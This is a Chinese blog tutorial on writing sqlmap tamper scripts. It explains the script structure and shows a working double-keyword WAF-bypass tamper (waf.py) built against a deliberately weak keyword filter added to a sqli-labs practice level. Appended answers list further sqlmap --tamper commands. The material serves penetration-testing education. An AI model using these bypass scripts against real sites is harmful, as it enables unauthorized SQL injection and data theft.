sqlmap之tamper脚本编写

目录

前言

tamper脚本实战


前言

sqlmap是一个自动化的SQL注入工具,而tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。

为了说明tamper的结构,让我们从一个最简单的例子开始

# sqlmap/tamper/escapequotes.py
 
from lib.core.enums import PRIORITY
 
__priority__ = PRIORITY.LOWEST
 
def dependencies():
    pass
 
def tamper(payload, **kwargs):
    return payload.replace("'", "\\'").replace('"', '\\"')

不难看出,一个最小的tamper脚本结构为priority变量定义和dependenciestamper函数定义。

  • priority定义脚本的优先级,用于有多个tamper脚本的情况。如果你加载多个tamper,谁的优先级高,谁被优先使用。(优先级共有七个,分别为;LOWEST、LOWER、LOW、NORMAL、HIGH、HIGHER、HIGHEST)
  • dependencies函数声明该脚本适用/不适用的范围,可以为空。
  • tamper是主要的函数,接受的参数为payload和**kwargs。返回值为替换后的payload。比如这个例子中就把引号替换为了\\'。payload参数是sqlmap进行自动注入时的sql语句,要替换的就是payload,来完成想要的绕过。kwargs是修改http头里的内容函数,如下图

tamper脚本实战

1. 环境设计

这里对sqli-labs第一关环境进行修改,增加过滤函数如下

function sqlwaf( $str ) {
	$str = str_ireplace( "and", "", $str );
	$str = str_ireplace( "or", "", $str );
	$str = str_ireplace( "union", "", $str );
	$str = str_ireplace( "select", "", $str );
	$str = str_ireplace( "sleep", "", $str );
	$str = str_ireplace( "group", "", $str );
	$str = str_ireplace( "extractvalue", "", $str );
	$str = str_ireplace( "updatexml", "", $str );
	$str = str_ireplace( "PROCEDURE", "", $str );
	
	return $str;
}

对传入的函数先经过这个函数的过滤

经过这个过滤后,我们直接使用sqlmap进行注入是注入不成功的

所以我们需要对sqlmap的payload进行修改,根据过滤函数规则,我们可以进行双写绕过单次过滤

2. tamper编写

因为关键词被过滤为空,导致payload不能正常执行,那么就可以编写这样tamper

waf.py内容:

# sqlmap/tamper/escapequotes.py
from lib.core.enums import PRIORITY
 
__priority__ = PRIORITY.NORMAL
 
def dependencies():
    pass
 
def tamper(payload, **kwargs):
    if payload:
        result = payload.replace("OR", "oorr").replace("AND", "aandnd").replace("UNION", "ununionion").replace("SELECT", "seleselectct").replace("PROCEDURE", "PROCEPROCEDUREURE").replace("SLEEP", "slesleepep").replace("GROUP", "grogroupup").replace("EXTRACTVALUE", "extractvextractvaluealue").replace("UPDATEXML", "updatupdatexmlexml")
        return result

将waf.py放到sqlmap\tamper目录下,然后执行

sqlmap.py -u url -v3 --tamper=waf.py --batch

sqlmap关键词都被替换,如下and

 成功注入出来了

  • 8
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 8
    评论
### 回答1: SQLmaptamper是指对抓包后的sqlmap请求加入变异行为,以逃避WAF及过滤规则的限制。tamper是一个python文件,可以在进行SQL注入测试时应用,以尝试绕过WAF和安全防护。 使用SQLmaptamper可以使用以下步骤: 1. 打开SQLmaptamper文件夹,可以找到多个与注入相关的tamper文件,如:apostrophemask.py,base64encode.py,between.py等等。 2. 选择一个tamper文件,将其加入到SQLmap的命令行选项中。 例如,使用apostrophemask.py变异脚本,命令行应如下: ``` python sqlmap.py -u www.target.com/vuln.php?id=1 --tamper=apostrophemask.py ``` 3. 运行SQLmap测试注入时,将应用选定的tamper文件,用于变异测试HTTP请求报文,最终目的在绕过WAF和安全防护,完成注入检测。 需要注意的是,不同的tamper文件是具有不同的变异特点和用途的,应根据实际情况进行选择和测试。 ### 回答2: SQLMap是一种专门用于自动化SQL注入渗透测试的工具,其tamper选项用于修改SQL注入时发送给目标数据库的Payload。使用tamper选项可以绕过一些特定的WAF(Web应用防火墙)或者应用程序针对SQL注入的过滤规则,增加注入成功的几率。 使用tamper选项的步骤如下: 1. 启动SQLMap并指定目标URL,例如:`python sqlmap.py -u http://example.com/index.php?id=1` 2. 执行第一步后,SQLMap会自动进行一系列测试,检测目标是否存在SQL注入漏洞。如果检测到存在漏洞,则可以继续下一步;否则可能需要尝试其他方法或者目标不具备SQL注入漏洞。 3. 输入`--tamper`或`-tamper`选项以及相应的tamper脚本,例如:`--tamper=space2comment`。SQLMap会使用指定的tamper脚本修改发送给目标数据库的Payload。 4. SQLMap会自动应用指定的tamper脚本进行注入测试。如果需要使用多个tamper脚本,可以使用逗号分隔,例如:`--tamper=space2comment,randomcase`。 5. 执行tamper选项后,SQLMap会根据tamper脚本的定义修改Payload,然后再发送给目标数据库进行注入测试。 总之,tamper选项是SQLMap中用于修改Payload以绕过WAF或应用程序过滤规则的重要功能。用户可以根据具体情况选择合适的tamper脚本,提高SQL注入攻击成功的概率。 ### 回答3: sqlmap是一个用于自动化SQL注入的工具,tamper是其中一个功能,用于修改注入请求的参数和报文,以绕过WAF(Web应用防火墙)和过滤器。 使用tamper功能的步骤如下: 1. 首先,运行sqlmap并指定目标网址,例如:`python sqlmap.py -u http://example.com/page.php?id=1` 2. 在运行过程中,sqlmap会探测目标网址是否存在SQL注入漏洞。 3. 一旦sqlmap确认目标存在注入漏洞,它会提示选择是否使用tamper功能以绕过WAF和过滤器。 4. 输入`Y`或者`yes`后回车,sqlmap将提供一系列tamper脚本供选择。 5. 根据需要选择一个tamper脚本,例如选择`tamper/space2comment.py`,则会将空格转换为注释符。 6. sqlmap会自动将选择的tamper脚本应用于注入请求,并发送修改后的请求到目标网址。 7. 接下来,sqlmap会分析响应,如果注入成功,将继续进行注入测试。 8. 使用其他tamper脚本,可以尝试绕过不同的防御机制,如编码、大小写、拆分等。 9. 运行完成后,sqlmap将生成报告,并提供详细的注入结果和可能的漏洞利用方法。 总之,tamper功能是sqlmap工具中用于绕过WAF和过滤器的重要组成部分,通过应用tamper脚本可以改变注入请求的参数和报文,增加SQL注入成功的几率。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 8
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

谢北先生

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值